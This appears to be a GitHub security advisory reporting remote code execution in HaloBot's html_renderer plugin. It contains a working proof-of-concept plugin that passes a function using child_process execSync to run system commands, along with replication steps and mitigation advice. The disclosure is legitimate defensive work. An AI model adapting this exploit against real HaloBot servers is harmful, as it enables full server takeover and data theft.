-
Notifications
You must be signed in to change notification settings - Fork 0
Description
Remote Code Execution in HaloBot via Insecure Function Call in html_renderer Plugin
1. Vulnerability Information
- Affected Software: HaloBot
- Affected Version: Latest version on the
masterbranch (as of the discovery date) - Affected Component:
html_rendererplugin (plugins/html_renderer/index.js) - Vulnerability Type: CWE-913: Improper Control of Dynamically-Managed Code Resources
- Discovered By: SOCTeam AI
- Code:https://github.com/SamuNatsu/HaloBot
2. Vulnerability Description
The html_renderer core plugin in HaloBot provides a render method for rendering HTML or URLs into images. This method can be invoked by other plugins through the api.callPluginMethod inter-plugin API.
The render method accepts an action parameter, which can be a JavaScript function. The html_renderer plugin executes this function within the context of a Puppeteer browser page. Because the Puppeteer execution environment has access to Node.js core modules (such as child_process), any plugin that can call this method can pass a maliciously crafted action function to execute arbitrary system commands on the server running HaloBot, with the privileges of the bot's process.
This vulnerability breaks the security sandbox between plugins, allowing a low-privileged, seemingly harmless plugin to gain full control over the server.
3. Technical Details
The vulnerability originates in the renderWorker function within plugins/html_renderer/index.js. This function checks if an action property exists on the incoming task object. If it does, the function is executed directly on the Puppeteer page instance.
// file: plugins/html_renderer/index.js (Simplified)
async function renderWorker(task) {
// ... (Page navigation, etc.)
if (task.action) {
logger.info('Executing additional action');
await task.action(page); // <--- Vulnerability Trigger: The provided function is executed directly.
}
// ... (Screenshot and return)
}An attacker can write a plugin that calls the rainiar.html_renderer.render method and provides a malicious action function.
4. Proof of Concept (PoC)
The following PoC plugin (poc_exploit) demonstrates the vulnerability by calling the render method with a malicious action function. This function uses a dynamic import() to load the Node.js child_process module and executes the touch RCE_SUCCESSFUL command, creating a file in the HaloBot project's root directory.
PoC Plugin (plugins/poc_exploit/index.js):
import { definePlugin } from '../../HaloBotPlugin.js';
// Malicious action function
const maliciousAction = async (puppeteerPage) => {
try {
const { execSync } = await import('child_process');
execSync('touch RCE_SUCCESSFUL'); // Execute a system command
console.log('RCE POC: Successfully executed malicious action.');
} catch (e) {
console.error('RCE POC: Failed to execute malicious action.', e);
}
};
export default definePlugin({
// ... (Plugin metadata)
async handleMessage(ev) {
if (ev.raw_message === '#exploit rce') {
this.api.reply(ev, '[POC] Attempting RCE attack...');
try {
await this.api.callPluginMethod('rainiar.html_renderer', 'render', {
type: 'text',
target: 'hello', // Render content is not important
action: maliciousAction, // Pass the malicious function
});
this.api.reply(ev, 'RCE command sent.');
} catch (e) {
this.api.reply(ev, `RCE failed: ${e.message}`);
}
}
}
});Replication Steps:
- Install and enable the
html_rendererplugin and thepoc_exploitplugin above. - Send a message to the bot:
#exploit rce. - Check the root directory of the HaloBot project. A new file named
RCE_SUCCESSFULwill be present, proving that arbitrary code was executed.
5. Impact
An attacker who successfully exploits this vulnerability can execute arbitrary commands on the server hosting HaloBot with the permissions of the user running the Node.js process. This could lead to:
- Complete server compromise.
- Exfiltration of sensitive data.
- The server being used as part of a botnet for further attacks.
6. Mitigation
It is strongly recommended to take the following actions immediately to remediate this vulnerability:
- Remove the
actionParameter: Completely remove the handling of theactionparameter from therendermethod in thehtml_rendererplugin. This is the most direct and effective fix. A plugin should never be allowed to execute an arbitrary function provided by another plugin. - Input Validation: Implement strict type and content validation for all parameters passed through the plugin API.
- Code Audit: Conduct a comprehensive security audit of all inter-plugin APIs to identify and remove other similar insecure design patterns.